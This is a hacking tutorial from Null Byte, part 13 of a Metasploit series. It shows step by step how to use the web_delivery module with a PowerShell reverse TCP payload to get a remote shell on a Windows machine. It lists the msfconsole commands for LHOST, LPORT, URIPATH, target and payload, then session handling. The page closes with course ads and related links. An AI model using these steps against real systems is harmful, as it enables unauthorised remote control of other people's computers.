Hack Like a Pro: Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows) « Null Byte :: WonderHowTo

Welcome back, my hacker novitiates!Inthe previous part of this series, we looked at how to useMetasploit's web delivery exploit to create a script to connect to a UNIX, Linux, or OS X machine using Python. Many members of the Null Byte community have asked me, "Can we do the same for a Windows systems?" The answer is YES!Although the web delivery exploit will work on Windows systems that have Python installed, few Windows systems actually have Python installed while nearly ever UNIX, Linux, and OS X has Python installed by default. Fortunately, those Windows systems do havePowerShellinstalled by default, and we can use it with Metasploit's web delivery exploit to take control of those systems.In this tutorial, we will use Metasploit's web delivery exploit to take control of a Windows system through its PowerShell.Step 1: Start MetasploitTo begin, fire up yourKalisystem, open a terminal, and startMetasploit.kali > msfconsoleStep 2: Loading the Web Delivery ExploitLike already mentioned above, using Metasploit's web delivery is very similar to web delivery on Unix, Linux, and OS X systems except that Windows systems don't have Python installed by default. But they do have WindowsPowerShell, and there is a web delivery module for that.Let's load the web delivery exploit in Metasploit:msf > use exploit/multi/script/web_deliveryNext, we need to set the LHOST and LPORT exactly like we did with the Unix/Linux/OS X web delivery exploit.msf > set LHOST 192.1681.153msf > set LPORT 4444Next, we need to set the URIPATH. This can be set to anything you please. I set it here to "powersploit", but you can set it to anything you like.msf > set URIPATH powersploitStep 3: Set the Target to PowerShellBy default, the web delivery exploit in Metasploit uses Python scripts. To use the Windows-basedPowerShelloption, we need to set the target to 2.msf > set target 2With the target set to 2, Metasploit will create a PowerShell script when we are ready to exploit.Step 4: Set the PayloadLastly, we need to set the payload. Let's use thewindows/powershell_reverse_tcppayload.msf > set payload windows/powershell_reverse_tcpBefore we start the exploit, set checks the options to see whether we have all of them set properly.Now, we can typeexploitand Metasploit will start a small web server in the background and generate a command for us to use on the Windows system.Next, open a command prompt on the target Windows system and run that command like below.When you hit enter, that command will open a connection to the attack machine.Now, on the attack system, we can check to see whether the session has opened by typing:sessions -lAs you can see above, we have a session opened with an ID of 1. We can use that session by typing:sessions -i 1Where 1 is the ID of the session. If your session ID is different, such as 2, 3, etc., you should use that ID in the command above.Now we have a session on the Windows machine. Success! We can now check to see the running processes on the target system by typing:PS C: \Users\OTW > Get-ProcessNow, that we are connected to the Windows machine's PowerShell, we can run any of thePowerShell"command-lets" as well as the most common Linux commands.In a future tutorial, I will show you how to use the PowerSploit modules to gain even more control and access on that Windows machine, so keep coming back, my hacker novitiates!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow to Hack Like a Pro:Getting Started with MetasploitNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 12 (Web Delivery for Linux or Mac)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 7 (Autopwn)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:Windows CMD Remote Commands for the Aspiring Hacker, Part 1Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 3 (Payloads)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 11 (Post-Exploitation with Mimikatz)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemHack Like a Pro:How to Use PowerSploit, Part 1 (Evading Antivirus Software)Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)News:What to Expect from Null Byte in 2015Mac for Hackers:How to Install the Metasploit FrameworkHack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHacking Windows 10:How to Steal & Decrypt Passwords Stored in Chrome & Firefox RemotelyHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHack Like a Pro:How to Save the World from Nuclear AnnihilationHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)Hack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker Training